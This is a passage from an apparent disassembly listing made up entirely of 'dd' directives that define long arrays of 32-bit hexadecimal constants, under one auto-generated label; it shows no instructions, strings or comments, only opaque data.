		dd 0B6EABC4Dh, 0AB98EE4h, 18A3FEE6h, 469C44F0h,	13A291C9h
		dd 13B34Dh, 0EF2823EEh,	84392E05h, 1930E2F9h, 23C090A2h
		dd 199B6F56h, 7FAC9C02h, 7202A444h, 1C1B71C8h, 86D8B0A3h
		dd 0A6F8142Ah, 99224021h, 22E45E0Fh, 4FEAA052h,	0B7286Ah
		dd 10FB5ACDh, 0E89AB9D5h, 41896403h, 0F3865613h, 7779102Ch
		dd 0A3738027h, 0CFD1F039h, 0A6018A80h, 481D8CC9h, 0B2E0FD5Ch
		dd 3132FAE6h, 20988927h, 12E6513Ch, 682DE100h, 0F75DCEB0h
		dd 2E44004Bh, 4E02D564h, 0B10F73D8h, 0A9677025h, 21C0119Dh
		dd 0AC8B7610h, 3F5C7100h, 0CD68415Dh, 2A0300E2h, 0B8A68C79h
		dd 6C006D17h, 0CBC12D36h, 1CC05512h, 0CEE702B2h, 0C38F382Ah
		dd 1B8FE200h, 11C3396Bh, 7B31202h, 0E963DB29h, 926100B4h
		dd 140E5C18h, 0EA678807h, 0D400BE52h, 17E4976h,	0B38F0AC7h
		dd 2C052Ah, 98E55F8Eh, 0B9040869h, 0B645D831h, 60BBC303h
		dd 8668346Fh, 30191B41h, 0DE4108CBh, 3970163Ch,	0A51D2116h
		dd 5F51C803h, 23719808h, 1B8E0057h, 63EF13ABh, 39C13DCEh
		dd 0DDBDB3D3h, 3B8B32CCh, 96981939h, 0E74D902Ch, 6DB77E01h
		dd 68C680D6h, 0EF31C50h, 979400EAh, 0A8F3240h, 61F895C8h
		dd 0C58CF054h, 0A8F84800h, 590C3DDDh, 0E071003Ch, 0A2E76899h
		dd 0DB546B13h, 0D53E639Ch, 20F00E98h, 7C59CA99h, 420185A0h
		dd 0CD8581BEh, 818701CBh, 0D00A9899h, 5EBA62F0h, 0C2AD4A18h
		dd 18D2C351h, 11C15513h, 7F063661h, 12CE6CEEh, 38E07F41h
		dd 0F3806ED3h, 1D67BC83h, 0F500576Ch, 86D4E5BEh, 312EB92Dh
		dd 6130E8DAh, 0B1D980D9h, 8B46F1CCh, 9B4C00F3h,	2956624Ah
		dd 0C00DC98h, 0B15FA57Ah, 37D828BFh, 21710ECBh,	0E4BE2920h
		dd 0ECFF0237h, 9601EDBAh, 0A46B749h, 0CED8F905h, 0E2EC4001h
		dd 0C1DEF730h, 2FEDA0h,	1F6DD842h, 0E469AECDh, 0D57F7170h
		dd 223B6F78h, 0DB471592h, 0B9BA0080h, 0B5A338A6h, 54C8498Ah
		dd 1E00C422h, 0BD4CF74Dh, 3005E881h, 7939ADE5h,	78001C99h
		dd 9BB76B33h, 3C357B0Bh, 5339D534h, 3930D92h, 5703330Ch
		dd 0E4BE6011h, 8FE53E71h, 29CF4C49h, 0B89885A0h, 4712383Dh
		dd 7E003553h, 59BD328Ah, 3A8C90C0h, 0E05460BCh,	0C2ACF6D8h
		dd 0EF87A991h, 0E803BCA0h, 0DE01B830h, 0D8041F5Ah, 2992A643h
		dd 504C27CBh, 460AB69Eh, 0CFC94403h, 0EF6B82CDh, 0A2E08861h
		dd 8F493180h, 9B081FC8h, 21731007h, 0E11EA1D6h,	0AAE09E35h
		dd 93252980h, 5BB1A9B6h, 0DB8C3700h, 0DF709DCFh, 0B39E0C99h
		dd 13790B2Fh, 0B0CD6C2Ah, 8F18D078h, 0FFA847ECh, 12F20CDFh
		dd 6321966Bh, 2A874B02h, 8098CF13h, 3A8CC0E4h, 0D03103B7h
		dd 0CCCEFEEh, 0F74A5900h, 0E0842620h, 25D90266h, 0A1C134B3h
		dd 34B58161h, 0A443350h, 0C2692813h, 94D60934h,	0A8105FD5h
		dd 161386C7h, 602029B9h, 0C8959E31h, 0FE8C0DB0h, 1A06Ch
		dd 71E2D26Dh, 109DD4DDh, 0B300D891h, 50E141CCh,	0A1BD262Ah
		dd 0C090241Eh, 884D906Dh, 79A9E530h, 98F554FEh,	0A8200ACh
		dd 1C4F506Ch, 8000238Ah, 84FCF06Fh, 0AD67B91h, 2AB0223Bh
		dd 0D5E24180h, 8E9A84Ch, 6E88422h, 0B8A28E8Ah, 871811DCh
		dd 5829B0E5h, 14233B40h, 30802B3Eh, 3B685BF9h, 69719916h
		dd 0D838BD04h, 1C920740h, 0F1E491CBh, 9F6F0E4h,	6E194B37h
		dd 1271C40Fh, 0E10041DCh, 97CE5A65h, 0A9310133h, 134060F2h
		dd 10BC486Ah, 52980700h, 5C343669h, 21E10097h, 7A4B6DFFh
		dd 0CE4C40D5h, 94AF80FCh, 1424AA6h, 0F7B146DCh,	0E08CF5A7h
		dd 0ED00FC7Eh, 7FB0E37Ch, 23F8D3Ah, 873D12C1h, 50C613B4h
		dd 97DC6300h, 3296D58Eh, 0B53F118Ah, 8F550013h,	0F9684202h
		dd 0A00C00C2h, 37DF25DAh, 0F255E59Bh, 0F7F40280h, 1B019864h
		dd 7848F685h, 5C100FCDh, 57007C70h, 1651E25Ah, 17EBC1h
		dd 0D9C07E3Fh, 0B5A86489h, 0AB42D41Fh, 2AB1850Bh, 6C653470h
		dd 83FBC08h, 0BB0E0251h, 6CDCEEEBh, 0A4B5E030h,	17041EFCh
		dd 132D40D5h, 0F5ECA13Eh, 0CDAED900h, 0BEA4108Eh, 0B07A7503h
		dd 6310F9D4h, 1300E3FDh, 0FB925DFh, 0CDB3E05h, 74A46CD7h
		dd 7C09D23Ch, 8429C12Eh, 60C13F56h, 1201C3F1h, 0A44980DAh
		dd 30478B0Bh, 0BB6126E1h, 43BD44A0h, 0B85F902Ch, 0F5A2C7h
		dd 0D242F344h, 2F83E880h, 0C8374D05h, 0CC8F755h, 0C28100ADh
		dd 4945EAD0h, 7001FEBh,	0FD596705h, 95FE78Fh, 32D59DECh
		dd 0EA817418h, 1F8AA088h, 0C60396D4h, 19EEBDA2h, 30668700h
		dd 0CE6DE710h, 6000E909h, 0B7005E6Fh, 6A97AFF2h, 397083F7h
		dd 5C0080F8h, 66889FE4h, 0FE0C4236h, 3907CD13h,	195A00E5h
		dd 0D4F4EDFh, 491BA2DDh, 0B191AEFAh, 2B7196F3h,	1AB79760h
		dd 9888CA03h, 0B147D082h, 5042BF11h, 6CDC46D8h,	650CE0EBh
		dd 0FC0EB8A4h, 8074DC06h, 2D76469Ah, 0E3C4245Dh, 40AC1858h
		dd 0C788B644h, 78880294h, 7ED7704Bh, 6DF9D0C0h,	10BDA42Ch
		dd 0D15FFF40h, 11DA6260h, 607F6A17h, 1626FDA9h,	0B9F358h
		dd 0CB2CD7B3h, 310938CFh, 916A12D5h, 2830EBDCh,	2EB0ACF2h
		dd 2848D37h, 0CD625058h, 90006844h, 0A907FA6Fh,	0D6BEC6E2h
		dd 0DC683148h, 0BDF0839Ah, 0F25F0498h, 72F9600Ah, 5C760A26h
		dd 4FF093A4h, 81B00197h, 61372B6Ah, 0BCCC800h, 709FEF88h
		dd 6F9C319Ah, 10D78BF0h, 7CD01687h, 58ED01EBh, 0D6688F7Bh
		dd 0AD242041h, 34805284h, 0EBC0F730h, 6F00E268h, 0B3E85E5h
		dd 1713DC78h, 0FADD0C40h, 0E46E1707h, 0C351BF83h, 35D3B071h
		dd 0D4E30174h, 0CCEA2CBEh, 85A18304h, 0F88E6BE1h, 0AECBD088h
		dd 75772090h, 0BA8008B1h, 0DBA5D9D4h, 0B1F7FC1h, 4989C0EEh
		dd 2A78B87h, 71C2881Bh,	0AE0C2864h, 0D1A4E067h,	47E06Ch
		dd 1D903BFBh, 0FE3D7DBCh, 3492AF00h, 12F45867h,	0DEF21440h
		dd 1F218499h, 4EDC8B09h, 0A7D0BD8h, 8C80E291h, 4819835Ch
		dd 0B4C23E01h, 0BCF7DE49h, 4F522980h, 35675CFCh, 220703E6h
		dd 2DF56964h, 1AE97B30h, 0B13A6B79h, 871B8407h,	241B8936h
		dd 227441B8h, 1097D430h, 0A0673FF4h, 72BC31FCh,	71EB0408h
		dd 824ABBCEh, 4413824h,	9681B9CCh, 7C40DC30h, 0CD6D88E2h
		dd 5461CF05h, 65F56460h, 9401AD2Bh, 379E98F4h, 0F9EC9C75h
		dd 60830646h, 888F906Eh, 0B5DC74FBh, 0B4A1D56Ah, 0D200AE11h
		dd 0B68B27E4h, 0C90F2813h, 4101BDD4h, 0C1A9BEA2h, 8C901202h
		dd 5A987F07h, 9C4CB300h, 0D2693E8h, 4B6B021Ch, 0CC83D721h
		dd 8700CCE4h, 0B71E01FCh, 78B6DA2Dh, 114B0BBDh,	788B6730h
		dd 0F8B29007h, 0AB1F3680h, 5FF5E7Ch, 99220668h,	8728CCA8h
		dd 1DF68E0Fh, 63334069h, 3F5DF57h, 68974A04h, 5022CEEFh
		dd 1CE450FAh, 5491002Ah, 0EF468570h, 6B0B7EE8h,	7C23076h
		dd 995BB360h, 0EF0869E8h, 0F86B3317h, 537A8C00h, 5486A281h
		dd 940FA0D8h, 0BEE980D4h, 0DAEF3360h, 311B5405h, 0BC21E2E4h
		dd 5C6043D8h, 8C59D245h, 3E00C7F0h, 0E1D3569h, 5073EBEDh
		dd 805D8C36h, 2F88B962h, 0FE68031Fh, 0DFF79930h, 81397903h
		dd 0A06C74EFh, 32C17DD4h, 56400693h, 24B6B202h,	0E1C488CDh
		dd 262AEE00h, 0CD2490Bh, 11640983h, 9583384Ch, 0B048362Eh
		dd 994580E0h, 1FC04D8Eh, 0D2B309EAh, 0A854C6DAh, 6C1222C2h
		dd 82E859CCh, 0E9C0488Fh, 3E8A10C0h, 0B0339389h, 43920301h
		dd 0DDD8914Eh, 78C2830h
dword_55FD48	dd 1F33D0C6h, 0BEDC040Bh, 257460C8h, 0A8A0CD0Dh, 6E63BFB0h
		dd 8DAB0F07h, 7A409EF2h, 72E6499h, 0C0B7B8D3h, 83155DAh
		dd 0A208FB84h, 34B202B4h, 1301E8D7h, 0B98CB156h, 0DDF1A3E4h
		dd 99342107h, 2E006A67h, 6391286h, 699DEF6Dh, 0DD459850h
		dd 4183B6F5h, 6FDC0F9Ah, 5AE85EE3h, 0EE247053h,	7605D332h
		dd 980821Ch, 14A9C1A6h,	20C221BEh, 7FF3DDC0h, 0CF00EB0Fh
		dd 426D7EC5h, 0B854ED3Fh, 3CF81907h, 3B940A0h, 0A8815841h
		dd 183FB621h, 51A060A6h, 87D893C2h, 771B6Eh, 9A32BDCBh
		dd 3DF08500h, 765DDB72h, 3068387Dh, 0BEC084DCh,	87CEA117h
		dd 4BC02948h, 568C1420h, 64FF07B8h, 0A02BCBE8h,	0E080331Dh
		dd 1EA73E07h, 46D1094Fh, 6584ACh, 944320C2h, 9E003332h
		dd 0CE20311Eh, 0C41244D5h, 8861D259h, 5B00CAACh, 6EDC243Eh
		dd 687773h, 5A9E9346h, 6F89982Fh, 7136F201h, 0E4D614C5h
		dd 3433A031h, 0FC84D000h, 8D805B63h, 0CA0069FAh, 8539F861h
		dd 16A7F66Ah, 4BBFB68h,	21AB5E14h, 9712E887h, 4F6BDC40h
		dd 80DD7824h, 910B842h,	6F13F010h, 8820B048h, 12780A6h
		dd 0E3DF1E77h, 70DEB900h, 0F89B0410h, 0C37A0286h, 7815053Dh
		dd 0F459EC62h, 3B225500h, 9A9B5C1h, 0EAE4398Eh,	0C3FB9081h
		dd 9C7260h, 0B32878F5h,	62DC2h,	179154C9h, 34EF6FE4h, 11B84248h
		dd 86103D02h, 751185ECh, 87E5F082h, 40C0EF54h, 1716C86h
		dd 769CFB20h, 40B0D5D3h, 0B40ABC96h, 7A8CBD4Ch,	0D00CE841h
		dd 948B0051h, 9E38504Bh, 0D500C609h, 29C82D68h,	76A3EA34h
		dd 59020B95h, 680936FBh, 8C16648Eh, 4200BD78h, 2D419367h
		dd 60CC898Ah, 0C2FE2106h, 0A00D960h, 0DB2110E4h, 0F2CF89Dh
		dd 0D4D104C5h, 0C0E820D6h, 4071B14Ch, 6C83600h,	0B9CE30Ch
		dd 4BD90081h, 4A525765h, 69256C0Fh, 0A5FC82C1h,	11380A04h
		dd 159300DFh, 5CC00362h, 0E6D0002Bh, 82A556D6h,	8031D63h
		dd 4736674Ch, 86D3D02Ah, 0B7F72642h, 20E416D8h,	33D5C5A0h
		dd 678C9C00h, 726E0CEh,	0BD7816ACh, 0E4EC3186h,	683180AFh
		dd 0B21669B4h, 0AEA20007h, 5348252Bh, 0B80AF77Eh, 98062CB3h
		dd 623FD561h, 0D3C7142Ch, 0D4DB395h, 98C7D131h,	9400A733h
		dd 6E4A1363h, 38D74C5Ch, 7436D020h, 84AC2042h, 0C4F0BE05h
		dd 90A4CB98h, 83900E17h, 72C09F8Dh, 0DC04FDDAh,	0E9741001h
		dd 0F797D559h, 0AA001432h, 0E19C2918h, 43FC905Eh, 9D2B744h
		dd 0A4708F99h, 2022DD0Bh, 60D932D8h, 0E4260049h, 310CF79h
		dd 7FA1840Ah, 6DE3046Bh, 71B6B1B8h, 0BF432A1Ah,	1F04D1B0h
		dd 1FFD8070h, 2EE5633Ch, 536ABF15h, 0D2B71DB4h,	0AC03F0E9h
		dd 880D2524h, 71BC4BE0h, 2E4C018Ah, 3A626412h, 0FCCC71D2h
		dd 0C80F8F55h, 4BAB5798h, 9FCC60CFh, 0F60230D5h, 13A39B18h
		dd 0ACC47429h, 284C0491h, 37FEC822h, 7044CC9Eh,	2C79D262h
		dd 0E30E5500h, 1A017EAh, 85F83433h, 0E5A2B89Ch,	0F1C2387h
		dd 82D62EEBh, 79602F68h, 0DAA204C8h, 0B41B836Dh, 0B62E8EA8h
		dd 13877B3Dh, 7416E2DDh, 0AA810Fh, 0C08580BDh, 56602CBAh
		dd 47D88BD8h, 0B34A4498h, 11BDD031h, 382C8CA9h,	7FEF5F80h
		dd 0D03AD66h, 7CE58F82h, 0BF291103h, 681226D5h,	9D8D4040h
		dd 0F90501FEh, 7451C8DCh, 0B460914Bh, 4020CB27h, 1789313Dh
		dd 0E47D2100h, 0B3927BF8h, 46A0A629h, 4287046Fh, 2CC93859h
		dd 0FA6C6C4Ch, 0A6BF4044h, 0DA6A1314h, 80353F1Ch, 8D61D414h
		dd 16D650FBh, 20E5BD81h, 4F6F9500h, 6C2BBA07h, 654ECFCBh
		dd 1000E4D8h, 0F684BC4h, 174102E2h, 0EC3A368Dh,	0E89EF482h
		dd 80E46104h, 0C9C2002Ch, 0EAE5598Bh, 4108EDBBh, 84E9041Fh
		dd 0CCFC1C87h, 2B00BB64h, 0F59437D4h, 3A14A7D6h, 7CB88D24h
		dd 3A2CF380h, 8FD42E8Ah, 5350D4B0h, 0A4A472C0h,	310544h
		dd 9862F5F8h, 0EE5F63D4h, 61C07801h, 0E1B98480h, 7909A620h
		dd 28B134h, 0D8A3438Eh,	4E03F5C9h, 5BE4ECDEh, 0A9C680BEh
		dd 44F14ABDh, 5FAC4158h, 0BC90B513h, 7C3247FEh,	4B36EE3Ah
		dd 4B545EAEh, 584BD3AAh, 11D9F7C1h, 0EED0D061h,	0FE290E14h
		dd 1FAF1778h, 1498C1EBh, 0BA004B3Ch, 6529AFC8h,	2A8A2889h
		dd 7F403425h, 0C0E896C0h, 71456AEFh, 0BFB45205h, 0C2C019F3h
		dd 73B24CFh, 36D1A882h,	0A7E4C36Ah, 0B4594900h,	17A3B59Ch
		dd 0F60D00E6h, 83B2180Fh, 0AE01FA0Eh, 6AED9D2Dh, 0D98EFFCEh
		dd 0B389B63Ah, 0BB00184Ch, 8242FBCEh, 8678F2h, 0DA618CAh
		dd 0BAEE91B6h, 63783D62h, 97844CEh, 52A8AA99h, 33E889F8h
		dd 0A0FB2F25h, 473FB154h, 230D00BEh, 6F162E8Ch,	0B328F5B6h
		dd 8220FC89h, 0CEBA3A03h, 0A9F5F81h, 23B8CA6Dh,	700F0040h
		dd 0A9BAECB7h, 0BC3E0015h, 8A30D568h, 1326E06Dh, 3D646073h
		dd 24115832h, 1843D424h, 1981B5A4h, 0F89E5FD8h,	0BD085B71h
		dd 18D54424h, 3218BC4h,	12D827B3h, 38A0B908h, 93E62FE3h
		dd 3190C010h, 38260700h, 0DB95B981h, 4DE92599h,	100A2C11h
		dd 3FBDFDE6h, 0A9AA635Fh, 21AF40Ch, 0FBCA83C9h,	90986AD8h
		dd 0AFFC7C49h, 0F4BF5A24h, 2CD0F007h, 3063F440h, 0EAB4A369h
		dd 3AC70038h, 0BE1C6D1Fh, 5A876FEBh, 0F8F08F44h, 302F8E9Dh
		dd 0C6C0488Dh, 6D0B0687h, 0C48811BCh, 0FDAB0048h, 0C0F536D5h
		dd 97E09376h, 0CEF37505h, 0B8207412h, 0F642386Ch, 0B8B626D0h
		dd 84034018h, 0AD2480C8h, 0C824C8C0h, 93A29461h, 45808878h
		dd 59D8066Ch, 8813C0B3h, 0D75E7030h, 98F20274h,	0CABC2C11h
		dd 6701C0C4h, 0DB3BF9EBh, 0FB20ED69h, 47110F7Ah, 8C809B31h
		dd 0DAE368E6h, 438C9C50h, 2E3944h, 874B6227h, 95F64DE6h
		dd 995598C4h, 0D40F6CA2h, 0A367D180h, 0DCEF0014h, 0AE2C83FAh
		dd 216100CDh, 0D520F3FEh, 59480063h, 366231C6h,	0D8008F72h
		dd 6542D52Fh, 1EDFB6F6h, 49BD0D6Ch, 744B9740h, 0D822F0C2h
		dd 0E980B045h, 0BEC90901h, 2851C428h, 742FACB8h, 64C78062h
		dd 0CCB04428h, 2E7F9900h, 8A01B806h, 70A200EEh,	586FCEE5h
		dd 0FCB0D435h, 0C5DC2402h, 29B06B12h, 1B0C1898h, 2ABBCB00h
		dd 2CB79C7Bh, 6AC1450h,	4C0EEC1Dh, 0C7843858h, 102480FDh
		dd 49E75179h, 0CAC5D89Ch, 1C0709Dh, 0EDAA53A9h,	714CD242h
		dd 2EF030FDh, 0E4485C90h, 17678034h, 32B59Bh, 9440C588h
		dd 357ABF42h, 0C4AD8103h, 1C5A60BEh, 6687E9h, 0ED5F7479h
		dd 340BFD98h, 0AEE824BCh, 7019320Ch, 6311C1D8h,	0D7B17EA4h
		dd 81687052h, 33B932FCh, 0F6C81A4h, 113843D5h, 78157CD8h
		dd 26C0D3CFh, 0C64434CBh, 0E0A94581h, 5BABA870h, 2BDC4061h
		dd 2A6F28B7h, 69018A07h, 4A4057AEh, 38C6D379h, 2D242BC4h
		dd 5D59DD4h, 4932B3A0h,	0A8CBF740h, 0D7FD95E8h,	5A0B3Eh
		dd 1472A805h, 666F6E0h,	82E95633h, 3602C8E2h, 8E126952h
		dd 0B7854FEh, 988F6F74h, 0FCCA704Bh, 8E04DCE4h,	56C4A689h
		dd 67185A80h, 69D6395Fh, 0F2721312h, 133231Ch, 335D405h
		dd 5F1C346Dh, 27EBC700h, 0A3992F14h, 45364AB3h,	40ED61F8h
		dd 0EAF38488h, 0B009921h, 6C1486C7h, 0B8D1A9DCh, 2CBF0984h
		dd 0F400BCEEh, 330F7310h, 98C7931Dh, 0B5C8A0E7h, 9F26034h
		dd 87041E03h, 4005C084h, 0EFD76FE4h, 0F52701D5h, 6DA68A43h
		dd 0C32CEh, 0C975EDB0h,	3245107h, 9E18375Bh, 0AE9842E9h
		dd 7117D6CAh, 0B840DF2Ah, 4DFF87D2h, 0BA0A1453h, 0B912B088h
		dd 0A5C00305h
		dd 63A3A9C8h, 0B1D49950h, 40E40084h, 0E827A20h,	4BF6B45Dh
		dd 9D5EE000h, 0F764EAF2h, 96371DD2h, 43441F85h,	2075294h
		dd 0C048E9A1h, 0CD7F622Fh, 804A533Fh, 0EF5B22E2h, 605510D2h
		dd 0E1F2304Fh, 526990FCh, 16168010h, 47AA3h, 0BF6893D3h
		dd 6F5B014Dh, 9C60BEECh, 9290EC28h, 0C6657935h,	5143F739h
		dd 27C7EE03h, 90E1669Ch, 0A9AB51h, 914365CEh, 57DC4270h
		dd 402FD718h, 0C0527D31h, 0A9A04EB9h, 6CE8C18Ah, 718AAE2h
		dd 6AD93CF7h, 9F1A0DCBh, 0F831537Dh, 421C6EA3h,	1C8F4376h
		dd 6204E021h, 1894E2FAh, 28DE6953h, 261D294Fh, 0C8804E03h
		dd 0D45EEA46h, 0BDFF024Ah, 0ED181E1Ch, 0BBEC98A0h, 0DB0CDD53h
		dd 69306274h, 1889A0ABh, 4C21770Fh, 660EE4FFh, 3A408729h
		dd 0EF6D6F5h, 6275038h,	0DC769B11h, 0F2C80079h,	5E3575A5h
		dd 900088DEh, 0EF89F5Ch, 556CFA01h, 0ECC0A866h,	0AD78001Ah
		dd 0FEC1F958h, 0E103EAB9h, 0CB40D4DEh, 0E9510541h, 474BDAF6h
		dd 0C8D769DCh, 0FC55C380h, 1D1F0FF0h, 0C09FC949h, 405ACC3Dh
		dd 0E011A8Eh, 84ED0DDCh, 0D9853BD5h, 229B643Eh,	0E1205BE0h
		dd 0F83726D5h, 8DBA140Eh, 2E08D812h, 56914B1Eh,	3E3C2201h
		dd 0F1CDDDBDh, 84A44119h, 2118EFDFh, 5BA1D468h,	0DA1F00AFh
		dd 0F15E4A71h, 37FEDDC9h, 0F7C5E200h, 93EFDC31h, 0A86232C1h
		dd 0F320BC99h, 0CDFCFD4h, 40CB4394h, 5891F951h,	7F221500h
		dd 0E0517E6h, 6C2E50FEh, 5358FAA3h, 0AA74200Ch,	0CB1225Fh
		dd 50E30179h, 4D607DE9h, 0B7CFAAA9h, 13AD182Ah,	0D5855992h
		dd 0EF214A60h, 0C02DE779h, 3CBCF840h, 29C0965Ch, 2073DA74h
		dd 71A0567h, 33FAD943h,	0EF906ECCh, 0A7169CCDh,	2D00E0E5h
		dd 8A8DE84Bh, 6080E562h, 15645D53h, 0D70C4C43h,	1845CC28h
		dd 62CB036Eh, 653E5884h, 0AB6800EDh, 242227CEh,	7A2BEA00h
		dd 6EEFE109h, 4BD22940h, 1D981190h, 1F80E5E2h, 18BB5BECh
		dd 378900A5h, 0D76A233Fh, 8CE27EDCh, 4D16D112h,	2C56B452h
		dd 0FA760803h, 497785h,	3A96A0ECh, 176E11FCh, 0A41CFE04h
		dd 48C04158h, 6068575Dh, 6BFC81D5h, 0B300BC6Eh,	0CA21E70Dh
		dd 483ACB99h, 0D00040A7h, 0BC92FDEBh, 5F0C755Eh, 69AF433Eh
		dd 0DC7D15A7h, 5E00BCE4h, 5B92D5ADh, 6C98E631h,	0E05CF62Ah
		dd 0FA7582EAh, 0E505CD00h, 140C5A23h, 40181D10h, 48F000E9h
		dd 4127F6E8h, 1BD3D9C7h, 415D86h, 0DE776EE9h, 80873DD0h
		dd 0B06ADE2h, 0D1CF4074h, 97F830C9h, 0A03AC299h, 0BDCB1C02h
		dd 410C91CEh, 170024ACh, 0F91D74E5h, 5421DD3h, 416E8204h
		dd 0CE10DB04h, 8400D433h, 5C23780Bh, 7BDE02BBh,	8CE3049Eh
		dd 80C04197h, 2FA7DF82h, 851FDBE8h, 40F1C4D9h, 0D4E09B18h
		dd 80489148h, 0BE1D652Fh, 0D500D1EDh, 0D3F59DC5h, 906AA80Ah
		dd 4358009Fh, 4753E418h, 9C61FCEFh, 240D69C9h, 537E2FCh
		dd 50D5D71Ah, 57C420E1h, 0E89B5343h, 96F8C780h,	3BDE19B2h
		dd 4700E5FCh, 772C49F6h, 3F05B84Dh, 0D884F786h,	64B0B458h
		dd 685E10F1h, 724F00D2h, 8EB46A96h, 0BB7D0F0Ah,	47017CD0h
		dd 7AF39912h, 358361C5h, 0D7310DA5h, 0EC815A1Dh, 0A84C9AD3h
		dd 7E62278h, 0AF2CB8BCh, 8693D1BBh, 0B0F84803h,	40F33Ah
		dd 0E94D7C28h, 24DDDCA8h, 1DA499B4h, 4478265Fh,	3F694041h
		dd 34AD883h, 0A3027CC3h, 5B8003B9h, 0CC906587h,	2352D7FAh
		dd 16A1C88h, 2058F64Ah,	0A0B0200h, 398B0DBh, 0D1B93C0Fh
		dd 21164A2Bh, 4421D243h, 81B89DF9h, 1C535900h, 0FD795BCh
		dd 0EF55AF04h, 1C820B03h, 0FD9220D2h, 8000DC6h,	0C5A1267Ah
		dd 40F69Fh, 7746BC39h, 51920F62h, 0E5ECF816h, 0BE2E41Dh
		dd 0FB042BCFh, 0D14C5F04h, 32583F34h, 60F7289Ch, 935E5600h
		dd 402B4CF4h, 1995EFE7h, 110044F2h, 0A81DA274h,	4D1F1334h
		dd 0A003CE4h, 8E3DC499h, 0F5A71E3Bh, 1104E45Bh,	0DD681431h
		dd 0AC740764h, 33A0AFF8h, 0EE9F395h, 6FFA0E71h,	0C3847038h
		dd 0D01C3050h, 559A388h, 413662F8h, 8F2EC046h, 0C018607h
		dd 0D2E113BFh, 5841591Ah, 0A6DF04E4h, 7D4B4419h, 0EB0078B1h
		dd 0C4C7D309h, 0D89A00CCh, 9B3E2C81h, 4C0031D6h, 323FBFE2h
		dd 0B02B6682h, 9663268Ch, 0DF4900B8h, 26C11E4Ch, 8685F000h
		dd 68DC0FE2h, 0E09140FAh, 0A958D600h, 3C805060h, 29AFEEF2h
		dd 9F86B35h, 9010DF85h,	0E8086467h, 87DA696Fh, 801ECD5Bh
		dd 0FC58C020h, 0F3745303h, 0ABFA07h, 76AC9A41h,	22113F28h
		dd 509C4F0h, 8407849Bh,	64FE6FCh, 0FBEE8AE2h, 0DAF2A864h
		dd 0D36D7601h, 84F94A4Dh, 4BC01980h, 0CC74F5A8h, 0A0502DE4h
		dd 96008A84h, 10F78034h, 6439ADh, 0B4675946h, 0FA19F3DCh
		dd 0DF01A091h, 0C8E79111h, 823CC0h, 0D933B7B8h,	0C0AA3F21h
		dd 0E1FDA802h, 0C0535566h, 80548BE8h, 0CCA85FF7h, 0A7390313h
		dd 5C9F01C1h, 0B4468CEFh, 221050CEh, 431B5B1Ch,	80E1E5C1h
		dd 99D3400Fh, 2FD709ACh, 0E2056446h, 0FBEF5F22h, 914B5400h
		dd 3AAEB0Ah, 12DC443Ch,	0ADB07EF5h, 0D007C83Fh,	11D24701h
		dd 8C87B05h, 4E790190h,	7961C9Ch, 5B59930Dh, 81AF2008h
		dd 0F91803F3h, 74D983C3h, 0DF09D690h, 0F2A000ABh, 94011A3Fh
		dd 535C8894h, 0BF015D91h, 9538264Ch, 290FDCC6h,	816C485Dh
		dd 6588DFB2h, 1B0DF8h, 5C689A49h, 0D5A6F29Dh, 154B2502h
		dd 6195117Fh, 304266F0h, 0DBD92044h, 29001838h,	4B02C1A2h
		dd 5F51757h, 680FDF66h,	0CE8F1FEBh, 0F7063A98h,	0CD003942h
		dd 676ACF86h, 0ECB35E17h, 0E1104D0h, 0D2E73D62h, 84985A24h
		dd 0ED000DC2h, 7F39030Fh, 961356E1h, 2ED78A40h,	1EC02678h
		dd 0AC80011Dh, 48D06DA3h, 0E00263ACh, 0EE686E6Ch, 85F4A2A9h
		dd 25C0E4D7h, 74225C3Eh, 8C517211h, 0F5094411h,	1819BFF6h
		dd 99FC0848h, 96470074h, 8D03812h, 0C99C20EDh, 2701E344h
		dd 0C0F41E10h, 0A740F424h, 38AF6Dh, 77CA3F71h, 1BBAD8B0h
		dd 2F0B9B58h, 9873D8A2h, 0E5DF21CCh, 3FC0111Fh,	4FFAFB2Fh
		dd 7DA02CA6h, 0D12C40DCh, 0CC043469h, 0CB767AC6h, 6E2A78A2h
		dd 0D68526E0h, 0A4684458h, 0AD1EE624h, 4B808EEFh, 0C7F60C36h
		dd 0EE37128Dh, 42908C7Dh, 48A00F8Ah, 0C5A6804Eh, 0BA4742Bh
		dd 0F4F2F72Eh, 443AE448h, 73DA0272h, 9CFA7FFEh,	0DAF9A058h
		dd 4A001864h, 6571D6A2h, 0D901C8h, 0B15BFF5Ah, 2CEDF874h
		dd 0F70A3CB1h, 1480A045h, 7B0D6740h, 0B0F10072h, 4E9B1C0Ch
		dd 1600C3A9h, 0F6CFE1C6h, 34696E30h, 8C709586h,	3500DDA8h
		dd 0A41189EEh, 59651C6h, 8462CA5Eh, 2D980859h, 7147F78Ch
		dd 0CE800042h, 0B4735766h, 0F43D49A8h, 19E90072h, 255661D1h
		dd 98EC5054h, 439208D3h, 0F5826BCCh, 2048626Eh,	2B85ED9Bh
		dd 0E3D6250Bh, 4340A107h, 17DACDh, 0CB3B2AD5h, 0D3FA0101h
		dd 0C9439702h, 0B423D849h, 2000A438h, 6B77E55Eh, 0FD07455Fh
		dd 24C9F942h, 0D42ED083h, 88D95C8Ch, 534414D7h,	0E173307Dh
		dd 5D5C6318h, 5C18573Ah, 0FA2277D8h, 7B7418FBh,	0EA1BC149h
		dd 0F7FE0500h, 0CBA116FCh, 6E68072Dh, 4B7596B3h, 4C48F88Dh
		dd 8C3EFA30h, 62A59CECh, 0EFC61240h, 4AAD2936h,	744C007Dh
		dd 6935A2F9h, 0ABE40C2h, 3C445057h, 4516707Dh, 74FC2062h
		dd 0ED002502h, 1BDF36ADh, 0AC3BCEh, 0BF4BBC71h,	0F0A7BE1h
		dd 0E673D400h, 8DC40374h, 3F0C08C3h, 4828A85Dh,	4DC29213h
		dd 0DCC1F804h, 440C4852h
		dd 28026380h, 0F8EB34D0h, 191A61D9h, 4941663Eh,	614C108Ch
		dd 180076C0h, 0AF36FEECh, 283597Bh, 648E4FFh, 0A0C03ED5h
		dd 0A448EF9Bh, 115221C4h, 80883CDAh, 0AE23C33Dh, 9AA46ECh
		dd 653C8DB6h, 0DE85DC90h, 61905C99h, 2B0C892h, 0CAD61800h
		dd 0C3BBD5E3h, 0E23802C2h, 0E1586EAFh, 14D0BC48h, 43065C99h
		dd 1149E4D4h, 46F6E8h, 0CDF734C1h, 0F8B181CEh, 9F5A03A9h
		dd 0DF59325Eh, 5F53127h, 44CC4358h, 632484D7h, 1E40DCFAh
		dd 9C1EE4Dh, 0ED2E7DBCh, 205DF4A4h, 24E4F5ACh, 40F0F6EBh
